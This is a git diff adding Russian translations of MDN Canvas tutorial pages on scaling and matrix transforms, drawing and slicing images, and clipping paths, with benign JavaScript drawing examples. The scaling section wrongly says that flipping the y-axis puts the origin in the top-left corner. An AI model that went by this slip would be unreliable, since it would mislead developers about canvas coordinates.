+<h2 id="Scaling" name="Scaling">Масштабирование</h2>
+
+<p>Следующий метод трансформации холста - scaling. Он используется для растяжения, сжатия и отражения координатной сетки. Он может использоваться для отрисовки растянутых или сжатых по осям фигур и изображений.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.scale", "scale(x, y)")}}</dt>
+ <dd>Масштабирует координатную сетку холста по горизонтали и вертикали. Оба параметра - вещественные числа. Значения меньше 1.0 уменьшают, а больше 1.0 увеличивают масштаб сетки. Значение 1.0 не изменяет его.</dd>
+</dl>
+
+<p>Используя отрицательные значения вы можете зеркально отразить направление осей. Например, используя <code>translate(0,canvas.height); scale(1,-1);</code> вы получите хорошо известную декартову систему координат с началом в верхнем левом углу.</p>
+
+<p>По умолчанию единица координатной сетки точно соответствует одному пикселю. Если же вы, например, зададите масштабный коэффициент 0.5, то единица сетки будет равна половине пикселя, и нарисованная фигура будет иметь размер в два раза меньше оригинала. Наоборот, если задать масштабный коэффициент 2.0, единица сетки будет соответствовать двум пикселям, а нарисованная фигура станет в два раза больше.</p>
+
+<h3 id="A_scale_example" name="A_scale_example">Пример использования <code>scale</code></h3>
+
+<p>В этом примере мы нарисуем прямоугольники, используя разные масштабные коэффициенты.</p>
+
+<pre class="brush: js; highlight:[6,11] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // рисуем масштабированный прямоугольник.
+  ctx.save();
+  ctx.scale(10, 3);
+  ctx.fillRect(1, 10, 10, 10);
+  ctx.restore();
+
+  // размещаем текст, отраженный по горизонтали
+  ctx.scale(-1, 1);
+  ctx.font = '48px serif';
+  ctx.fillText('MDN', -135, 120);
+}
+
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_scale_example", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}</p>
+
+<h2 id="Transforms" name="Transforms">Матричное преобразование</h2>
+
+<p>В заключении рассмотрим метод, который вызывает изменения в соответствии с матрицей преобразования.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}</dt>
+ <dd>Накладывает матрицу преобразования, заданную параметрами, на текущую матрицу. Матрица преобразования задается следующим образом: <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{array} \right]</annotation></semantics></math></dd>
+</dl>
+
+<dl>
+ <dd>If any of the arguments are <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> the transformation matrix must be marked as infinite instead of the method throwing an exception.</dd>
+</dl>
+
+<p>Параметры функции:</p>
+
+<dl>
+ <dt><code>a (m11)</code></dt>
+ <dd>Horizontal scaling.</dd>
+ <dt><em><code>b (m12)</code></em></dt>
+ <dd>Horizontal skewing.</dd>
+ <dt><code>c (m21)</code></dt>
+ <dd>Vertical skewing.</dd>
+ <dt><code>d (m22)</code></dt>
+ <dd>Vertical scaling.</dd>
+ <dt><code>e (dx)</code></dt>
+ <dd>Horizontal moving.</dd>
+ <dt><code>f (dy)</code></dt>
+ <dd>Vertical moving.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform", "setTransform(a, b, c, d, e, f)")}}</dt>
+ <dd>Сбрасывает текущую матрицу преобразования, а затем вызывает<code>transform()</code> в соответствии с аргументами.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform", "resetTransform()")}}</dt>
+ <dd>Сбрасывает текущую матрицу преобразования к значению по умолчанию. Аналогично вызову <code>ctx.setTransform(1, 0, 0, 1, 0, 0);</code></dd>
+</dl>
+
+<h3 id="Пример_использования_transform_и_setTransform">Пример использования <code>transform</code> и <code>setTransform</code></h3>
+
+<pre class="brush: js; highlight:[12,15] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  var sin = Math.sin(Math.PI / 6);
+  var cos = Math.cos(Math.PI / 6);
+  ctx.translate(100, 100);
+  var c = 0;
+  for (var i = 0; i &lt;= 12; i++) {
+    c = Math.floor(255 / 12 * i);
+    ctx.fillStyle = 'rgb(' + c + ', ' + c + ', ' + c + ')';
+    ctx.fillRect(0, 0, 100, 10);
+    ctx.transform(cos, sin, -sin, cos, 0, 0);
+  }
+
+  ctx.setTransform(-1, 0, 0, 1, 100, 100);
+  ctx.fillStyle = 'rgba(255, 128, 255, 0.5)';
+  ctx.fillRect(0, 50, 100, 100);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="200" height="250"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Example_for_transform_and_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/использование_изображений/index.html b/files/ru/web/api/canvas_api/tutorial/использование_изображений/index.html
new file mode 100644
index 0000000000..3ce4b8384e
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/использование_изображений/index.html
@@ -0,0 +1,333 @@
+---
+title: Использование изображений
+slug: Web/API/Canvas_API/Tutorial/Использование_изображений
+tags:
+  - Графика
+translation_of: Web/API/Canvas_API/Tutorial/Using_images
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Трансформации")}}</div>
+
+<div class="summary">
+<p>До сих пор мы создавали наши собственные фигуры и применяли стили к ним. Одна из самых впечатляющих функций {{HTMLElement("canvas")}} это возможность использования изображений. Они могут быть использованы для динамического композитинга фото или как фоны графиков, для спрайтов в играх, и так далее. Внешние изображения могут быть использованы в любых поддерживаемых браузером форматах, таких как PNG, GIF, или JPEG. Вы можете даже использовать изображение, произведенное другими canvas элементами на той же странице как источник!</p>
+</div>
+
+<p>Импортирование изображений в canvas в основном состоит из 2 этапов:</p>
+
+<ol>
+ <li>Дав ссылку на {{domxref("HTMLImageElement")}} объект или для другого canvas элемента как источник. Также можно использовать изображение дав ссылку на URL.</li>
+ <li>Для рисования изображения на canvas используется функция <code>drawImage()</code>.</li>
+</ol>
+
+<p>Давайте посмотрим как это сделать.</p>
+
+<h2 id="Использование_изображений_для_рисования">Использование изображений для рисования</h2>
+
+<p>Canvas API может использовать все перечисленные далее типы данных как источник изображения:</p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement")}}</dt>
+ <dd>Эти изображения созданы, используя конструктор <code>Image()</code>, также как все{{HTMLElement("img")}} элементы.</dd>
+ <dt>{{domxref("HTMLVideoElement")}}</dt>
+ <dd>Используя HTML {{HTMLElement("video")}} элемент как источник изображения захватывает текущий кадр из видео и использует его как изображение.</dd>
+ <dt>{{domxref("HTMLCanvasElement")}}</dt>
+ <dd>Вы можете использовать другой {{HTMLElement("canvas")}} элемент как источник изображения.</dd>
+</dl>
+
+<p>Эти источники совместно именуемые по типу {{domxref("CanvasImageSource")}}.</p>
+
+<p>Есть несколько способов, чтобы получить изображения для использования на холсте.</p>
+
+<h3 id="Использование_изображений_из_той_же_страницы">Использование изображений из той же страницы</h3>
+
+<p>Мы можем получить ссылку на изображение, на той же странице, на canvas с используя  один из способов: </p>
+
+<ul>
+ <li> {{domxref("document.images")}} коллекция</li>
+ <li>The {{domxref("document.getElementsByTagName()")}} метод</li>
+ <li>Если вы знаете id конкретного изображения, который вы хотите использовать, вы можете использовать {{domxref("document.getElementById ()")}}, чтобы получить это конкретное изображение</li>
+</ul>
+
+<h3 id="Использование_изображений_из_других_доменов">Использование изображений из других доменов</h3>
+
+<p>Использование {{htmlattrxref("crossorigin", "img")}} атрибута {{HTMLElement("img")}} элемент (отображается  {{domxref("HTMLImageElement.crossOrigin")}} свойства), вы можете запросить разрешение на загрузку другого домена для использования в <code>drawImage()</code>. Если хостинг домен разрешает доступ к междоменному изображению, то изображение может быть использовано в вашем canvas без  without tainting it;иначе он может испортить ваш canvas.</p>
+
+<h3 id="Использование_других_canvas_элементов">Использование других canvas элементов</h3>
+
+<p>Как и с обычными изображениями, мы можем получить доступ к другим canvas элементам используя либо {{domxref("document.getElementsByTagName()")}} либо {{domxref("document.getElementById()")}} метод. Проверьте, что в canvas источнике уже что-то нарисовано, прежде чем использовать его в целевом изображении canvas.</p>
+
+<p>Одним из удобных способов было бы использование второго элемента canvas  в качестве миниатюры другого большего изображения canvas.</p>
+
+<h3 id="Создание_изображений_с_нуля">Создание изображений с нуля</h3>
+
+<p>Другой способ это создать новые {{domxref("HTMLImageElement")}} объекты в нашем скрипте.  Чтобы это сделать, вы можете использовать удобный <code>Image()</code> конструктор:</p>
+
+<pre class="brush: js">var img = new Image();   // Создает новый элемент изображения
+img.src = 'myImage.png'; // Устанавливает путь
+</pre>
+
+<p>Когда этот скрипт выполнится, изображение начнет загружаться.</p>
+
+<p>Если вы попытаетесь вызвать функцию <code>drawImage()</code> перед тем как изображение загрузится, то скрипт ничего не сделает (или, в старых браузерах, может даже выдать исключение). Поэтому вам необходимо использовать событие load, чтобы вы не пытались сделать это прежде, чем изображение загрузится:</p>
+
+<pre class="brush: js">var img = new Image();   // Создает новое изображение
+img.addEventListener("load", function() {
+  // здесь выполняет drawImage функцию
+}, false);
+img.src = 'myImage.png'; // Устанавливает источник файла
+</pre>
+
+<p>Если вы используете только одно стороннее изображение, то этот метод может быть хорошим примером, но если нужно следить за несколькими изображениями, то необходимо придумать что-то более умное. Хотя поиски тактики проверки загрузки изображений выходят за пределы этого обучающего курса,  вы должны об этом помнить.</p>
+
+<h3 id="Вложение_изображения_с_помощью_данных_URL">Вложение изображения с помощью данных: URL</h3>
+
+<p>Другой возможный способ включить изображение это через <a class="external" href="/en-US/docs/Web/HTTP/data_URIs" rel="external" title="http://en.wikipedia.org/wiki/Data:_URL">data: url</a>. Data URLs позволяет вам полностью определить изображение как Base64 кодированную строку символов прямо в ваш код.</p>
+
+<pre class="brush: js">var img = new Image();   // Создает новый элемент img
+img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
+</pre>
+
+<p>Одним из преимуществ data URLs  это то что полученное изображение доступно сразу без других запросов туда-обратно на сервер. Другое потенциальное преимущество в том, что также можно инкапсулировать всё в одном файле все ваши <a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a>, и изображения, что делает его более портативным в других местах.</p>
+
+<p>Некоторые недостатки этого метода в том что ваше изображение не кешировано, и для изображений с большим размером кодированние url может стать очень долгим процессом.</p>
+
+<h3 id="Использование_кадров_из_видео">Использование кадров из видео</h3>
+
+<p>Вы также можете использовать кадры из видео представленных {{HTMLElement("video")}} элементом (даже если видео не видно). Например, если у вас есть  {{HTMLElement("video")}} элемент с  ID "myvideo", вы можете сделать:</p>
+
+<pre class="brush: js">function getMyVideo() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    return document.getElementById('myvideo');
+  }
+}
+</pre>
+
+<p>Эта функция вернет {{domxref("HTMLVideoElement")}} объект для этого видео, который, как мы упоминали ранее, является одним из объектов, который можно использовать как <code>CanvasImageSource</code>.</p>
+
+<h2 id="Рисование_изображений">Рисование изображений</h2>
+
+<p>Как только мы получили ссылку на источник объекта изображения, мы можем использовать метод <code>drawImage()</code> для включения его в  canvas. Как мы увидим далее, метод <code>drawImage()</code> перегружен и у него есть несколько вариантов. В базовом варианте он выглядит как:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y)")}}</dt>
+ <dd>Рисует  изображение, указанное в <code>CanvasImageSource</code> в координатах  (<code>x</code>, <code>y</code>).</dd>
+</dl>
+
+<div class="note">
+<p>SVG изображения должны указывать ширину и высоту корневого  &lt;svg&gt; элемента.</p>
+</div>
+
+<h3 id="Пример_Простой_линейный_график">Пример: Простой линейный график</h3>
+
+<p>В следующем примере, мы будем использовать внешнее изображение в качестве фона для небольшого линейного графика. Использование фонов может сделать ваш скрипт значительно меньше, потому что мы можем избежать необходимости писать код для создания фона. В этом примере мы используем только один образ, поэтому я использую обработчик событий изображения объекта загрузки для выполнения операторов рисования. <code>drawImage()</code> метод определяющий место фона с координатами (0, 0), которые привязаны к верхнему левому углу canvas.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="180" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[5]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function(){
+    ctx.drawImage(img,0,0);
+    ctx.beginPath();
+    ctx.moveTo(30,96);
+    ctx.lineTo(70,66);
+    ctx.lineTo(103,76);
+    ctx.lineTo(170,15);
+    ctx.stroke();
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png';
+}</pre>
+
+<p>Получившийся график выглядит так:</p>
+
+<p>{{EmbedLiveSample("Example_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}</p>
+
+<h2 id="Изменение_размеров">Изменение размеров</h2>
+
+<p>Второй вариант метода <code>drawImage()</code> добавляет два новых параметра и позволяет разместить изображение в  canvas с измененными размерами.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y, width, height)")}}</dt>
+ <dd>Это добавляет параметр ширины и высоты, которые указывают до какого размера нужно изменить изображение при рисовании его в  canvas.</dd>
+</dl>
+
+<h3 id="Пример_Тайлинг_изображения">Пример: Тайлинг изображения</h3>
+
+<p>В этом примере, мы будем использовать изображение в качестве обоев и повторим его в canvas несколько раз. Это может быть сделано просто через цикл, располагая измененные изображения на разных позициях. В коде внизу, первый цикл <code>for</code> проходит по рядам. Второй цикл <code>for</code> проходит по колонкам. Изображение уменьшено на треть от реального размера, которое было  50x38 пикселей.</p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Изображения могут стать размытыми, при большом увеличении или зернистыми при значительном уменьшении. Возможно, лучше всего не изменять размеры изображения, если на них есть текст, который должен остаться читаемым. </p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function(){
+    for (var i=0;i&lt;4;i++){
+      for (var j=0;j&lt;3;j++){
+        ctx.drawImage(img,j*50,i*38,50,38);
+      }
+    }
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+}</pre>
+
+<p>Получившийся рисунок canvas выглядит так:</p>
+
+<p>{{EmbedLiveSample("Example_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}</p>
+
+<h2 id="Нарезка">Нарезка</h2>
+
+<p>У третьего и последнего варианта метода <code>drawImage()</code> в дополнении к источнику изображения есть еще восемь параметров . Он позволяет нам вырезать кусок из изображения, затем изменить его размер и нарисовать его в canvas.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}</dt>
+ <dd>В данном изображении, эта функция берет фрагмент из изображения, в виде прямоугольника, левый верхний угол которого -  (<code>sx</code>, <code>sy</code>), ширина и высота -  <code>sWidth</code> и <code>sHeight</code> и рисует  в  canvas, располагая его в точке  (<code>dx</code>, <code>dy</code>) и изменяя его размер на указанные величины в  <code>dWidth</code> и <code>dHeight</code>.</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/225/Canvas_drawimage.jpg" style="float: right; height: 290px; width: 300px;">Чтобы понять что  делает нарезка, можно посмотреть на изображение справа. Первые четыре параметра определяют местоположение и размер фрагмента исходного изображения.  Последние четыре параметра определяют прямоугольник, в который будет вписано изображение на целевом рисунке  canvas.</p>
+
+<p>Нарезка может быть полезным инструментом, когда вы захотите сделать композицию.  Вы могли бы собрать все элементы в одном файле изображения и использовать этот метод для создания композиции. Например, если вы захотите сделать график, вы могли бы сделать PNG изображение, содержащее все необходимые тексты в одном файле и в зависимости от ваших данных, могли бы достаточно просто изменять график. Другим преимуществом является то, что нет необходимости загружать каждое изображение по отдельности, получив возможность увеличить скорость загрузки.</p>
+
+<h3 id="Пример_Обрамление_изображения">Пример: Обрамление изображения</h3>
+
+<p>В этом примере, мы будем использовать того же носорога, что и в предыдущем примере, но мы отрежем его голову и включим ее в рамку. Изображение рамки это 24-х битный PNG, который включает падающую тень. Так как в 24-х битные PNG изображения включается полный 8-ми битный альфа-канал, в отличие от GIF и 8-битных PNG изображений, он может быть помещен в любой фон, без беспокойства о матовом цвете. </p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+   &lt;div style="display:none;"&gt;
+     &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227"&gt;
+     &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+   &lt;/div&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+
+  // Рисуем фрагмент
+  ctx.drawImage(document.getElementById('source'),
+                33, 71, 104, 124, 21, 20, 87, 104);
+
+  // Рисуем рамку
+  ctx.drawImage(document.getElementById('frame'),0,0);
+}</pre>
+
+<p>В этот раз мы применили другой способ загрузки изображения. Вместо загрузки методом создания новых {{domxref("HTMLImageElement")}} объектов, мы включили их как  {{HTMLElement("img")}} тэги прямо в наш HTML файл и из них выбрали изображения. Изображения скрыты с помощью  CSS свойства {{cssxref("display")}}, установленного в "none" для этих изображений.</p>
+
+<p>{{EmbedLiveSample("Example_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}</p>
+
+<p>Скрипт, сам по себе, очень простой. Каждому {{HTMLElement("img")}} присвоен атрибут ID, который  делает удобным их выбор с использованием {{domxref("document.getElementById()")}}. Потом мы просто используем функцию  <code>drawImage()</code>, чтобы из первого изображения вырезать фрагмент носорога и вставить его в canvas, затем рисуем рамку сверху, используя второй вызов функции <code>drawImage()</code>.</p>
+
+<h2 id="Пример_галереи_искусства">Пример галереи искусства</h2>
+
+<p>В последнем примере этой главы, мы построим небольшую галлерею искусств. Галерея состоит из таблицы, включающей несколько изображений. Когда страница загрузится,  {{HTMLElement("canvas")}}  элемент вставится в каждое изображение, а вокруг будет нарисована рамка. </p>
+
+<p>В этом случае, у каждого изображения фиксированная ширина и высота, такая же, как и у рамки нарисованной вокруг них.  Вы могли бы усовершенствовать этот скрипт так, чтобы он использовал ширину и высоту изображения, чтобы рамка идеально его окружила.</p>
+
+<p>Код ниже должен говорить сам за себя. Мы проходим циклом через {{domxref("document.images")}} контейнер и соответственно добавляем новые элементы  canvas. Возможно следует упомянуть для тех, кто не слишком хорошо знаком с DOM, что для этого используется {{domxref("Node.insertBefore")}} метод. <code>insertBefore()</code> это метод родительского узла (ячейки таблицы) элемента (изображения) перед которым мы хотим вставить наш новый узел  (элемент canvas).</p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+     &lt;table&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+     &lt;/table&gt;
+     &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>И сюда какую-нибудь CSS для украшения:</p>
+
+<pre class="brush: css">body {
+  background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
+  margin: 10px;
+}
+
+img {
+  display: none;
+}
+
+table {
+  margin: 0 auto;
+}
+
+td {
+  padding: 15px;
+}
+</pre>
+
+<p>Связывая все вместе  JavaScript рисует наши изображения в рамках:</p>
+
+<pre class="brush: js">function draw() {
+
+  // Цикл по всем изображениям
+  for (var i=0;i&lt;document.images.length;i++){
+
+    // Не добавляет canvas для изображения рамки
+    if (document.images[i].getAttribute('id')!='frame'){
+
+      // Создает элемент canvas
+      var canvas = document.createElement('canvas');
+      canvas.setAttribute('width',132);
+      canvas.setAttribute('height',150);
+
+      // Вставляет перед изображением
+      document.images[i].parentNode.insertBefore(canvas,document.images[i]);
+
+      var ctx = canvas.getContext('2d');
+
+      // Рисует изображение в canvas
+      ctx.drawImage(document.images[i],15,20);
+
+      // Добавляет рамку
+      ctx.drawImage(document.getElementById('frame'),0,0);
+    }
+  }
+}</pre>
+
+<p>{{EmbedLiveSample("Art_gallery_example", 725, 400)}}</p>
+
+<h2 id="Контроль_изменений_размеров_изображения">Контроль изменений размеров изображения</h2>
+
+<p>Как было отмечено ранее, изменение размеров изображений может привести к размытости или к шуму в процессе преобразования. Вы можете использовать контекст рисования {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} свойства, чтобы контролировать использование сглаживающего алгоритма, когда изменяющиеся изображения в вашем контексте. Обычно это свойство установлено в  <code>true</code>, означая, что изображения будут сглажены во время изменения размеров. Вы можете отключить это свойство так:</p>
+
+<pre class="brush: js">ctx.mozImageSmoothingEnabled = false;
+ctx.webkitImageSmoothingEnabled = false;
+ctx.msImageSmoothingEnabled = false;
+ctx.imageSmoothingEnabled = false;
+</pre>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/композиции/index.html b/files/ru/web/api/canvas_api/tutorial/композиции/index.html
new file mode 100644
index 0000000000..264cc7e544
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/композиции/index.html
@@ -0,0 +1,108 @@
+---
+title: Композиция и обрезка
+slug: Web/API/Canvas_API/Tutorial/Композиции
+tags:
+  - канвас
+translation_of: Web/API/Canvas_API/Tutorial/Compositing
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}</div>
+
+<div class="summary">
+<p>Во всех наших <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations">предыдущих примерах</a>, фигуры всегда были нарисованы одна поверх другой. Это более чем достаточно для большинства ситуаций, но это ограничивает порядок, в котором построены композиционные формы. Однако, мы можем изменить это поведение, установив свойство <code>globalCompositeOperation</code>. Кроме того, свойства <code>clip</code> позволяет скрыть нежелательные части формы.</p>
+</div>
+
+<h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2>
+
+<p>Мы можем не только рисовать новые фигуры за существующие формы, но мы также можем использовать его, чтобы замаскировать определенные участки, очистить разделы от холста (не ограничивается прямоугольниками, как{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} method does) и другое.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}</dt>
+ <dd>Это задает Тип операции композиции для применения при разработке новых форм, где Тип является строкой, идентифицирующей, какие из двенадцати операций композитинг в использовании.</dd>
+</dl>
+
+<p>См.  <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing/Example">примеры компоновки</a> кода из следующих примеров.</p>
+
+<p>{{EmbedLiveSample("Compositing_example", 750, 6750, "" ,"Web/API/Canvas_API/Tutorial/Compositing/Example")}}</p>
+
+<h2 id="Clipping_paths" name="Clipping_paths">Обрезка контуров</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">Отсеченный контур похож на обычную форму холста, но он действует как маска, чтобы скрыть нежелательные части фигур. Это визуализируется на изображении справа. Форма красной звезды - наша отправочная дорожка. Все, что выходит за пределы этого пути, не будет нарисовано на холсте.</p>
+
+<p>Если мы сравниваем отсеченный контур со свойством <code>globalCompositeOperation</code> на изображении, мы видим два режима композитинга, которые достигают более или менее того же эффекта в исходном и исходном состоянии.   Наиболее важные различия между ними заключаются в том, что отсечение контура фактически  никогда не обращается к холсту и контур обрезки никогда не влияет добавление новых форм. Это делает обрезку контура идеальным для рисования нескольких фигур в ограниченной области.</p>
+
+<p>В главе о <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">рисовании форм</a>, я назвал только <code>stroke()</code> и <code>fill()</code> методы, но есть третий способ можно использовать с контурами, так называемый <code>clip()</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clip", "clip()")}}</dt>
+ <dd>Преобразует текущий выстраиваемый контур в отсечённый контур.</dd>
+</dl>
+
+<p>Используйте <code>clip()</code> вместо <code>closePath()</code> для закрытия контура и его преобразования в отсечённый контур вместо создания заполняющего  или обрамляющего контура.</p>
+
+<p>По умолчанию элемент {{HTMLElement("canvas")}} использует отсечённый контур, который в точности совпадает по размеру с размером самого холста. Это означает, что никакого отсечения попросту не произойдёт.</p>
+
+<h3 id="A_clip_example" name="A_clip_example">Пример обрезки</h3>
+
+<p>В этом примере мы будем использовать круговую обрезку контура, чтобы ограничить рисование набора случайных звезд определенной областью.</p>
+
+<pre class="brush: js;highlight[9]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.translate(75, 75);
+
+  // Create a circular clipping path
+  ctx.beginPath();
+  ctx.arc(0, 0, 60, 0, Math.PI * 2, true);
+  ctx.clip();
+
+  // draw background
+  var lingrad = ctx.createLinearGradient(0, -75, 0, 75);
+  lingrad.addColorStop(0, '#232256');
+  lingrad.addColorStop(1, '#143778');
+
+  ctx.fillStyle = lingrad;
+  ctx.fillRect(-75, -75, 150, 150);
+
+  // draw stars
+  for (var j = 1; j &lt; 50; j++) {
+    ctx.save();
+    ctx.fillStyle = '#fff';
+    ctx.translate(75 - Math.floor(Math.random() * 150),
+                  75 - Math.floor(Math.random() * 150));
+    drawStar(ctx, Math.floor(Math.random() * 4) + 2);
+    ctx.restore();
+  }
+
+}
+
+function drawStar(ctx, r) {
+  ctx.save();
+  ctx.beginPath();
+  ctx.moveTo(r, 0);
+  for (var i = 0; i &lt; 9; i++) {
+    ctx.rotate(Math.PI / 5);
+    if (i % 2 === 0) {
+      ctx.lineTo((r / 0.525731) * 0.200811, 0);
+    } else {
+      ctx.lineTo(r, 0);
+    }
+  }
+  ctx.closePath();
+  ctx.fill();
+  ctx.restore();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>В первых нескольких строках кода мы рисуем черный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаем круговой обтравочный контур, рисуя дугу и вызывающий <code>clip()</code>. Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.</p>
+
